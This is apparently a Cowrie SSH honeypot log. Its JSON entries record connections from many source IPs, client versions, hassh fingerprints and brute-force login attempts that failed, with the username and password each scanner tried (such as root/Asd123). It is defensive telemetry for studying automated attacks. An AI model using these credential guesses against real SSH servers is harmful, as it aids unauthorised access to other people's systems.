{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:14.827114Z","src_ip":"185.236.22.41","session":"cd593aea25d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061990","message":"login attempt [root/22061990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:15.222500Z","src_ip":"185.236.22.41","session":"cd593aea25d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:16.335231Z","src_ip":"185.236.22.41","session":"cd593aea25d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":48842,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c39bc8e8621","protocol":"ssh","message":"New connection: 45.148.10.121:48842 (10.17.0.5:22) [session: 1c39bc8e8621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:23.336958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:23.361212Z","src_ip":"45.148.10.121","session":"1c39bc8e8621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:23.424963Z","src_ip":"45.148.10.121","session":"1c39bc8e8621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":55994,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a480e14987","protocol":"ssh","message":"New connection: 27.79.1.70:55994 (159.203.135.109:22) [session: 90a480e14987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:24.120379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:24.155994Z","src_ip":"27.79.1.70","session":"90a480e14987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:24.387966Z","src_ip":"27.79.1.70","session":"90a480e14987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"installer","message":"login attempt [installer/installer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:27.259926Z","src_ip":"27.79.1.70","session":"90a480e14987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":38666,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eec5a8e35e3","protocol":"ssh","message":"New connection: 156.38.73.89:38666 (159.203.135.109:22) [session: 5eec5a8e35e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:29.210057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:29.214897Z","src_ip":"156.38.73.89","session":"5eec5a8e35e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:29.434826Z","src_ip":"156.38.73.89","session":"5eec5a8e35e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:29.887115Z","src_ip":"27.79.1.70","session":"90a480e14987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"1234","message":"login attempt [roman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:30.343268Z","src_ip":"156.38.73.89","session":"5eec5a8e35e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:31.568793Z","src_ip":"156.38.73.89","session":"5eec5a8e35e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":52200,"dst_ip":"159.203.135.109","dst_port":22,"session":"482b402b3e3e","protocol":"ssh","message":"New connection: 103.107.60.45:52200 (159.203.135.109:22) [session: 482b402b3e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:33.433297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:33.437726Z","src_ip":"103.107.60.45","session":"482b402b3e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:33.652451Z","src_ip":"103.107.60.45","session":"482b402b3e3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:34.536270Z","src_ip":"103.107.60.45","session":"482b402b3e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:35.753039Z","src_ip":"103.107.60.45","session":"482b402b3e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.138.65","src_port":32862,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc97c6def0c7","protocol":"ssh","message":"New connection: 81.192.138.65:32862 (159.203.135.109:22) [session: fc97c6def0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:24.273439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:24.278253Z","src_ip":"81.192.138.65","session":"fc97c6def0c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:24.402797Z","src_ip":"81.192.138.65","session":"fc97c6def0c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":53456,"dst_ip":"159.203.135.109","dst_port":22,"session":"c81567169cd1","protocol":"ssh","message":"New connection: 31.59.89.180:53456 (159.203.135.109:22) [session: c81567169cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:24.498111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:24.503007Z","src_ip":"31.59.89.180","session":"c81567169cd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:24.614486Z","src_ip":"31.59.89.180","session":"c81567169cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@Abc","message":"login attempt [root/12345678@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:24.927165Z","src_ip":"81.192.138.65","session":"fc97c6def0c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd2026","message":"login attempt [root/p@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:25.091462Z","src_ip":"31.59.89.180","session":"c81567169cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:26.054443Z","src_ip":"81.192.138.65","session":"fc97c6def0c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:26.206388Z","src_ip":"31.59.89.180","session":"c81567169cd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":42330,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4170306d0cc","protocol":"ssh","message":"New connection: 122.176.122.24:42330 (159.203.135.109:22) [session: c4170306d0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:44.914526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:44.918583Z","src_ip":"122.176.122.24","session":"c4170306d0cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:45.197649Z","src_ip":"122.176.122.24","session":"c4170306d0cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:46.346067Z","src_ip":"122.176.122.24","session":"c4170306d0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:47.628877Z","src_ip":"122.176.122.24","session":"c4170306d0cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":33422,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d9d29bd0e33","protocol":"ssh","message":"New connection: 121.168.139.251:33422 (159.203.135.109:22) [session: 9d9d29bd0e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:49.234282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:49.239654Z","src_ip":"121.168.139.251","session":"9d9d29bd0e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:49.441902Z","src_ip":"121.168.139.251","session":"9d9d29bd0e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e#E@W!Q","message":"login attempt [root/1q2w3e#E@W!Q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:50.281690Z","src_ip":"121.168.139.251","session":"9d9d29bd0e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:53:51.486060Z","src_ip":"121.168.139.251","session":"9d9d29bd0e33","protocol":"ssh"}
